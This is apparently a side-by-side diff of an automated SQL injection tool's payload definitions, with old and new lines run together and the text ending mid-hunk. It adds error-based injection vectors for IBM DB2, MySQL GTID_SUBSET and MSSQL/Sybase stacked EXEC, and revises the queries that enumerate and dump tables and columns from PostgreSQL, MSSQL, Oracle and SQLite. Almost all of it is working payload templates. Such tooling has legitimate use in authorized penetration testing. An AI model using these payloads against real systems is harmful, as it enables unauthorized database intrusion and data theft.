<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector> <vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request> <request>
@@ -748,7 +782,7 @@
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,8,9</clause> <clause>1</clause>
<where>1</where> <where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
@@ -765,9 +799,9 @@
<test> <test>
<title>Vertica OR error-based - WHERE or HAVING clause</title> <title>Vertica OR error-based - WHERE or HAVING clause</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>3</risk> <risk>3</risk>
<clause>1,8,9</clause> <clause>1</clause>
<where>2</where> <where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector> <vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request> <request>
@@ -780,6 +814,45 @@
<dbms>Vertica</dbms> <dbms>Vertica</dbms>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- <!--
TODO: if possible, add payload for SQLite, Microsoft Access, TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time and SAP MaxDB - no known techniques at this time
@@ -853,6 +926,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -876,7 +969,7 @@
<test> <test>
<title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title> <title>MySQL &gt;= 5.0 error-based - Parameter replace (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>1</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
@@ -924,7 +1017,7 @@
<test> <test>
<title>MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title> <title>MySQL &gt;= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
@@ -1000,7 +1093,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1021,7 +1113,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1062,6 +1153,25 @@
<dbms>Firebird</dbms> <dbms>Firebird</dbms>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 error-based - Parameter replace</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,3</clause>
<where>3</where>
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- End of error-based tests - Parameter replace --> <!-- End of error-based tests - Parameter replace -->
<!-- Error-based tests - ORDER BY, GROUP BY clause --> <!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1105,6 +1215,26 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
<request>
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.6</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title> <title>MySQL &gt;= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
<stype>2</stype> <stype>2</stype>
@@ -1128,7 +1258,7 @@
<test> <test>
<title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title> <title>MySQL &gt;= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>3</level> <level>4</level>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
@@ -1148,7 +1278,7 @@
<test> <test>
<title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title> <title>MySQL &gt;= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
<stype>2</stype> <stype>2</stype>
<level>4</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
@@ -1188,7 +1318,7 @@
<test> <test>
<title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title> <title>MySQL &gt;= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
<stype>2</stype> <stype>2</stype>
<level>2</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
@@ -1205,7 +1335,6 @@
</details> </details>
</test> </test>
<test> <test>
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title> <title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
<stype>2</stype> <stype>2</stype>
@@ -1261,7 +1390,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1289,7 +1417,7 @@
<stype>2</stype> <stype>2</stype>
<level>5</level> <level>5</level>
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector> <vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request> <request>
@@ -1302,9 +1430,51 @@
<dbms>Firebird</dbms> <dbms>Firebird</dbms>
</details> </details>
</test> </test>
<test>
<title>IBM DB2 error-based - ORDER BY clause</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- <!--
TODO: if possible, add payload for SQLite, Microsoft Access TODO: if possible, add payload for SQLite, Microsoft Access
and SAP MaxDB - no known techniques at this time and SAP MaxDB - no known techniques at this time
--> -->
<!-- End of error-based tests - ORDER BY, GROUP BY clause --> <!-- End of error-based tests - ORDER BY, GROUP BY clause -->
<!-- Error-based tests - stacking -->
<test>
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
<request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
<comment>--</comment>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<!-- End of error-based tests - stacking -->
</root> </root>

View File

@@ -73,7 +73,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -264,7 +264,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -286,7 +285,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -307,7 +305,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -328,7 +325,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -588,7 +588,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -610,7 +609,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -631,7 +629,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -652,7 +649,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -674,7 +670,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -696,7 +691,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1638,7 +1632,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>
@@ -1936,7 +1929,6 @@
<details> <details>
<dbms>Microsoft SQL Server</dbms> <dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms> <dbms>Sybase</dbms>
<os>Windows</os>
</details> </details>
</test> </test>

View File

@@ -131,8 +131,8 @@
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/> <blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/> <inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/> <blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/> <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
@@ -147,8 +147,8 @@
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/> <blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
</search_table> </search_table>
<search_column> <search_column>
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/> <inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/> <blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
</search_column> </search_column>
</dbms> </dbms>
@@ -198,11 +198,11 @@
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/> <blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/> <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/> <blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/> <inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/> <blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
</columns> </columns>
<dump_table> <dump_table>
@@ -301,8 +301,8 @@
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/> <blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
</columns> </columns>
<dump_table> <dump_table>
<inband query="SELECT %s FROM %s"/> <inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/> <blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
</dump_table> </dump_table>
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes --> <!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
<search_db> <search_db>
@@ -357,7 +357,7 @@
<blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/> <blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/> <inband query="SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
<blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/> <blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
</columns> </columns>
<dump_table> <dump_table>
@@ -1370,8 +1370,8 @@
